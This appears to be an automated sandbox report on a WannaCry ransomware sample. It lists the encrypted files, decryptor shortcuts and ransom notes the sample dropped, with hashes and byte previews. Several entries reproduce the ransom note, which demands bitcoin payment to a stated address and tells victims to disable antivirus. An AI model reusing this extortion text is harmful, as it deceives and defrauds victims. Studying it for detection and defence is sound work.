                                      SHA1:1CED860277B05E92F41F0E5240FC38597292CF89
                                      SHA-256:5F3D956C343FD6E87B5491A9454CF19B229AEAEF0F5FA547B3A79B59218D209F
                                      SHA-512:78C4FD46850F9ECABCCB8A8373FDF6024976E0CF506F033578998FD81CBDBB3315EEB97B6D5DB9ABBC3A6F8A3C54107EC5769BD94A73B40A30BFF6B92BC6B749
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....C.<.]..?...p.P.*.`F.n.[P.<..e..4q...".....;.....N..K.MT..!C.........5T....v..8quG6Kc....~......'....&......4&...@..{qh...C..v'.lUi...R#...j.^l.Q.F...]h...d.h...1.8.X..$o./-\C):.H.I....0d..jy.~!Y......]E=.Ce.s.@.N2.9..Tj!...C-......................{...o8d.HO.8...2....4.`........)`X>\....z8ma.O...2..=~,....=.V..qE&....A..._._v..ej.=.c..F5U.......`....uy""=j.~O....Z.s...mO....E..!. F..........k..e.T....)...B...4U...^.(...J..J.PS...3<.`I1 g......8..w..G.........I.5.+.\...C.H.[ .\w....#.W`~...1......]..]7.L.&B...(..}....G..q.{..25..0.,K{....$....[c..X..%..H.JN...Pfm....+.+w.<.a.1.z.`..5.....S.$...[.)...u..'n...r~!.U......)...g.=..q.0.c....E#...yW!........&'{.;..3..j.a.a....(.y}...xe1....^',).....-..0.c.%f.......M)..C...CR.:...../..6.+k..9.L_.E...(..~..'$.Y.4.(...1_?y..3-....*.,.....K..]....8..._s..=0...z...1.Ob.<?..O.P7A....#7.V.U...........^o..r.AK.cgY........_3:.....E.(....,.MEpz.......z...".... .u...A.3Q..'.kV......~W.

                                      C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):29160
                                      Entropy (8bit):7.993358075226905
                                      Encrypted:true
                                      SSDEEP:768:2lam4i+71nmP/uFy6Cg0INTKy7AYPEYSzAnreECc:2lam4i+79y/auIwy0EEYm+D
                                      MD5:0DC251B6574A12B91074ABAE9F10A89B
                                      SHA1:D11A726B77FE77C3025DD344B8CB156FFC4C45C1
                                      SHA-256:66BAFA10FDF7226B813BAE4557E92D289DC171B2E5D6290B5CBAB978CDC9E638
                                      SHA-512:BB8349A3DB9AAE9D2BFCA7DE48E14B611E01C57F003DAFE8D75FA976ED1139E04E0C043F4075A6FA2D22F1EA5763480E3C66B011BD0437A46F854E235E96622A
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....T......c..S&..."...,.9&.a/..#......X<.^.&.z5.(Z.Um.!.R&t.&6I*'....nn.h.7~t`=.FFj.t..=...{.W..$.........8.G.....0G3?#.X. ..X..B..0G.6...D:]...7RsV...5Z...(..]'.7D...lR..y............O.3K_....*"O.....l@7....dy.Y...s.KK....Y....w........*y.w...l.v.....p........9..~...1.l....t...Y...62.1.|..&....X~T...=w4)..H.......[Z.`.qg..;*.t....[.k.#..P..KX..^....T...C..z.'~g..ZE..].,3N... ._p..X..4....ZM55.....!...`..r..s9b...AK.Q#..5..k0..7..m.#[^...C....W..{n....:'.....n.$M3.?Byp..t.4.%#'.d......vC..r.q.t.(.Z1.q...?|p....].....o.6v.t&..+........j4...t.?.`5.u.......W....2Z2.\P.rmj...tUv.....x.5#(..}..t.I...D..C.....p.t..0.5.M.....B.e._.....I..v0... .;.}6...z..D..j.9..Q.C..(.;J,.j.D.:.....K.. A...4E......S.....fF.us..8{..........U......bi.Q....]U./...J....y.:......RF...........Mf.qE.%....C...+.....Ml.;.].y~.<k.y ....)..D..e..G.dXO.d.[=3......,...j.1.......8.S..#^k..&....S.&...V7.}.U...`[*.DP.....U/..9.;..........aH.0.3..dbL ..N.

                                      C:\ProgramData\Microsoft\Diagnosis\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\Diagnosis\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):168216
                                      Entropy (8bit):7.998789903162105
                                      Encrypted:true
                                      SSDEEP:3072:tG+XFofdr1lejc8ISD6q78W6xV1CKUYYEycpLcDmq75hkzy:tHXqorCD1C9YYILG5hku
                                      MD5:69CE917B1CF450E70E8997BA4D1197BA
                                      SHA1:3C09061C31DB424FF42B5CC40F15CD3FA2127C3F
                                      SHA-256:959EC7533D96997E7E59E2DCE4AA1D9EF9EED613E3D668CB23BAE19883AE3B8F
                                      SHA-512:2AA8973BBF3FB5556A9701B29548E670129187CD791700DC0CAA797B47C11672301E17666E9A9A4F20621450EBF9A0BAF4895A87113FB80D5C730111B6223564
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....<K....r....!..8..../....y?.........c..H>...$......@...veC.[......^5..*}~..eM/..D..*..Ur...........YC......'.....mIqy.H...k.Ae.s.h.N.n-.s....J..{..a....B{.CI.......|..\y...$.....a...f6.._...+...V..y...Q.7.?.3..kp..41.3.q30I.f......w.r.[..AU.................G5....?._....NE>.W....Y.[.6w$.x.t.Rv+./&...\.@..B..@.....Z.-...*..X.N._g.#.j..4!..&.....=.....B....q.j.|.-..p...T.;n"I*...,........Ws.a..hd..)7]a$.1._;A$.=.{........L<d.F.\;.}.......4.k..L)ve.M...)..A...'...5sEO2.x.n....[b..@.79.0&.OU.B....H........-X..>..F...j.I..c ).BM..5......X-p.t4.2X.......z./..\..#......kuQ.+..!f.........=.>..t.H0~f.=..I....M.....2.H....m.VH.i....7...K.t..^/...FM.$....@..#....kW[Z.}e._..o..<...B..K.?..S...e/...0.....J...433b..[O...W.41..i.Q>:...#Wjy</i...........e.\#Y....kE.W.s......%.]Q.Z.:.....2.._<..........B.{E!$..!$.Vt....~x....ze....W.u..}.d....k.F..\...$.z......T*2nM....^...4:......:..(..6n..0F...&....V.^...}Y..ll..3.."._.15....M..V.uZoc

                                      C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):33048
                                      Entropy (8bit):7.994882549048206
                                      Encrypted:true
                                      SSDEEP:768:JFdJ0cToMeZecjDiUdMoYE4Kb6nNvSMKK1m0E8L:vjK5niUFYLKKSY1m0h
                                      MD5:C9C955EC74A2D8DCDE8177B7BCC9BB43
                                      SHA1:2D53F09B70023CF7D4F6EABF3CEDFBEE896B3C38
                                      SHA-256:BBABEC0D41D9C3802FA0070C022EDE9CE46C963676BAB8B9449267FDD59ECFC0
                                      SHA-512:2F6CF53598191AB02216A303C1AE77CC271B3E82AE886680609D9C5BABA6942DB2DEB79706912FD9A1CFC815DD924DDD162A068466884086DCBE52EBBA350DA4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....%...........w....J:.2.&..i.8j..%.0..N.[...\!.`.X..jX._../.q.<F.x.s....5.......2..7N..pD.8....&J.j.,..H...OE...F{......F..R..4.7....u.w.@......^k.....6...>....l59e..NFGu$.t.x..._;.........M..%7........:B9...`W .H=....'...}.k....Y..k....C.............%.iw... u/.C#~...N..W(...P.....[.b./$z.[}.....Q....s.."..U..^....E..g..."U..=>...Q....jR.b<\]..........f.|....f....;.~....(.. ....2...y.......S....H.@d..C.....m.....G...Un.H......mt....h........BW..WN...B..n.h...+ .2...)...".RWt.2....,.e.>.P...){n4....z..F..$G5.c".4..GHm.n.@W...&.#.k.._./y....?...s....pS.8...Jk.l..D..R......gt%.*....K..^Y..a...;.N..n..n$h ..%f......|........\.]....!..H../L.I[/ ..w.c.f...U{7...7......^.....P.M~....Oy.{....n...gE.h.....@-...x.....9.Yy..... ...%-..c_swh.m.Ob.p._.......S.L..m2*......3..,|(D....}....;.yLM.J.i..KD.$....tt....e.L....a...-........|5.......O}.0(.Y.r.K...E..0b)Da..e.H.QJ.U.T./..i....LGoi2E.a..wqb#5..3a.,..\...#...k/..^...7.i...?M.

                                      C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):24856
                                      Entropy (8bit):7.993290181062269
                                      Encrypted:true
                                      SSDEEP:768:KhLxmBTc0+xJrY+sWGOTGIlovEGg4RHl1:KbmBI0+xajwlovEWRF1
                                      MD5:EC4CBEFEF4DCC4E1AAF96F35CC6B9E70
                                      SHA1:B84DF2F6AFCDA44AA246FAA87489639455AB25DB
                                      SHA-256:00C3C5697C16F6987D07E05437F933F2B4B57FE710060575E2591EB5A8C73993
                                      SHA-512:0ABE5076C5D7E6A28CC5FA709AC45235AC78525173727B4398C0239CE2F3272C63F5536A52A78724E00A6DD013BB7E272A12D097557135EEBA6C2BFDF891E668
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....=3.D.A.s6.{1.n.j....v,1......g.....R.E........U.H2A.}....,.V......y.a..J&4.....E.D..............*Dx.A.MZ...V..Q..}.;....$....TY%;..I.mp<..{z.i.v.Ux....Hg..N....j..L....$..@y..M.....rXb.......'.....K..M.)....x c...J.=w...L.T.E2.j.l.....#5d.z.YDG".=.....`.........!_.....-..(Q..4q...v.E.=7.Cc..7Q...<&..!8-..9.c&MM.....[Y.I...~.-...t..s.....|..F.k..T..5.|t.~.@...SN...R.Zs..c.5-...#.jn%.y.g.zgjE.ou.,f...SB."<E...3..3...|..1f[^...1....OJ..4.....;.......g>.^..j{.....{/7...]5q>S%..k/...k....<c2lU*B..X...P...jeG.....G?"...[.=.l.r.c5..>....h5y.l...!..?..*DCi..Jmh.....`..&37{..fzn..5C.o$|8..P>%.....Z......F"...+"...0<.`.K......>.@m...W.1.npJ.....Y..=..G........PD.Ujo.c...}.....V....y~..Vk.DzM...cF.W..../.....).).>b0..].f.>PJf...v&..O...Q<..}<]3.^.....>.7...hy.}n.Pf4.M....Rb...d$..w .f.;.1..N..^.........J...7x...8..Z...O .?..ef.10.........=.b?..cI.....z.3x)..!..8..............]cB..82@.%.T.... BL+h4,......a.v.T8KN.}.~.p.D.Zl...eq....z..m....v.

                                      C:\ProgramData\Microsoft\Diagnosis\osver.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.223269264424868
                                      Encrypted:false
                                      SSDEEP:6:bkE8XPiTSzBJ0WyQBdtxvy5Y2xEzgUaxEPkOh0oWcZo:bkEaShjkF2moEsO+cZo
                                      MD5:B6443941BF5C8D00AA9B30B59190288C
                                      SHA1:2AEE915F9F82A8A0C4CF62AEAA1591E894D23A54
                                      SHA-256:26065D883C9E4CED5F61AB1E82B1A6E3B772D57381A309D8FC4946F3E5948712
                                      SHA-512:06D6EDBFD431A6FA63C21A273EDB3EDE0CDEA8F69B44D76E52988C147BD2C5B765DB68AACAC1154C386B29A7D6D715A91257E3956DF73B5A0BE5BA427B77E0CE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....Nax.i..mP$).....L@..._,.nv....9..j.R..l..L..wz..t..r.Z.m.+V'...7...8u.M...@.+.7..#..G.........2........G..x...L....[.D5XL..j.[`>.V.ez......b..C..u..}<z"].L...u0.R...i.?........rb..:.e..0yY....Z....9v.LI..C..w....g...yS.m(..b........US<..K.J{.............f..p...X&3g..d

                                      C:\ProgramData\Microsoft\Network\Downloader\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\Network\Downloader\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):25166104
                                      Entropy (8bit):7.9999928977416985
                                      Encrypted:true
                                      SSDEEP:393216:wlQT4g9ktstjFpVKnorP+zpBdAzyD6GXB1h0eg9PkIM0qMXEed31YL9K5:MQk2ktsworGlDAuhXBbpqk5edkK5
                                      MD5:4E0BC8122059BC6061EF6A284852AED0
                                      SHA1:3525B0930CD0772EC6938AA1B9DF55097DB5AD57
                                      SHA-256:CB01AEECB0E3D536AC65DB409DE889A1197CB2544168471F768C5184068FEEEB
                                      SHA-512:EF23AAB4B23ECDD8CACC47436F2352B13E4B903C8F7044C06EBC4624E63AA44654C37A93EA036DD1BFB0B5D516A8545DEE070ECF3E915A2646D4187A18DC21F9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....2...TY....Z.|P..._:O#U.w.N.}=&.._....:8_<.y&.nW..`......Q.2J..0..QdR.U9..!...6..v.fj.v...GL.....`......0......z.J..#..Zt.Oa.....P7..T..9. .Ip...k...v.2..v..6.6ML...&.&...<S8..q.0.....%..4....'{..*r.p.K}iA.......{Y ....Y....X..2.......ft...j................N#.y...).V......X3.s..4.Xq.L.1k.9...'8.(}..2.l(1G..-.y....\Q.v...9T...Q0."(.q.e..EC....I..l{.....Lo...)K..>D^Y?..o;........w..WY2d..]\T[.T.C.g+"..m).H1;..]p...........(b,...6..Lk=Q.-.4R$..>....g..o'.6..H_........B.*y...w.;U.0.6..j-.....(.e.B..S...)..4..s..7..aNs.7d....}>.A.w5..=.e ..[..b.w5.,=pa.<Ds...z=.t..Fa.kz.D..c..+.t;.'T.@.....@.}..$(...s+R..L.As.qN..V{...c...;......!w.....f@v...i...B...K.5.T<....*m.r.....~>...../.....8...........<TV.r.G.i.....r\%N...u..'.y...(....vV.>....>.......+..+.7........!~...E..^...B_.D7.V..*....d}..e.t..../|.Y..m.........h...En...{..n%.}5.:6..Y..~...c/b.-...+.'....@...jy,.....R.....:.w..}%t..P#.PQ..T.<RU....i[#/.gn........J...#V.h..C9..

                                      C:\ProgramData\Microsoft\SmsRouter\MessageStore\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\SmsRouter\MessageStore\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):196888
                                      Entropy (8bit):7.999010933730182
                                      Encrypted:true
                                      SSDEEP:3072:QZogUnzNqdwUjpU1td4877QbhFq1Bk2hXLDUI+pmYhVmU01HTTL7/UHC3:QZn9m1v4i7Qb+1KyXVq9hVfYL7/yC3
                                      MD5:15D7754E32DDE3F731AC427CCCE26DFB
                                      SHA1:37BD2DB971A221B6C98D51AACD2937202F8E91FC
                                      SHA-256:5E28440EB299A0234EA9138DCE1FA2805B482296FB663ACF16786BE026CEE671
                                      SHA-512:66E365202E7BCA32F51C09C5DBB5D052D8BFE31059DD68E973708A7965ADDFF850E38B2D5A9148A5297DE1DA4E14908F10863AED34B7564AA881710A04962EF3
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....E.F.O F&V.g".~....W.5...`.O.m=.YP.]Nc..d.....=Y..-...^...U.:..3.+.JDlBH.2$.P.Y..v..C.......W!$+X.!.[.>f..D.*L.BJ...6/..E.^.o..F.x.4........n'.d0...{F.....3..?y...xA.p.W|...).{....fV.....m.\.qwnhP.Q^.+5.Qd.......-?<.....%H.o..t..OJ..ykd&.E.......[Ta...............1.[.q...B...R..<Q.1....7.M..U.S.p....(..{.`...!.X.....X!....tG.~.'}...yI.1.Q..S.d._...z.&t91.$;..,.......4.$...].....+...L....a..........|..d.......f.........uN.....:.In...5-=...w....0....6.x%R}..H...s}D....)%h;..[.Q@.}F\.T..;.......j..J..kC.#..R..)..PD.;.,...aK)3.B......w.W... 0.xj.r...z....25....w.v.....7..........Q3X...GQ..t....<........7.zu...!!....&.<...`.Z..:H....;I,.....O..`.7.Ol...+..JwN- .......<...p3..g?...jm.%...t.r..5...mn.x.....@..$9BSCse..c..Q8........c....&/.^"$...3.Y.....}0C.x..w..z..*.dd$...<.hgz%....q...N....{.^..^.....?.A.H..np ."i...-.P.....w....c..~xb.eh!1$...W.y.-..OB}p.G....0.0.]+H..=U.?.d.D..I...[D.[{..;=.P.@.....#.#.]k....I.`.p.&w.I..@.S.c...*8.%.

                                      C:\ProgramData\Microsoft\UEV\Scripts\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
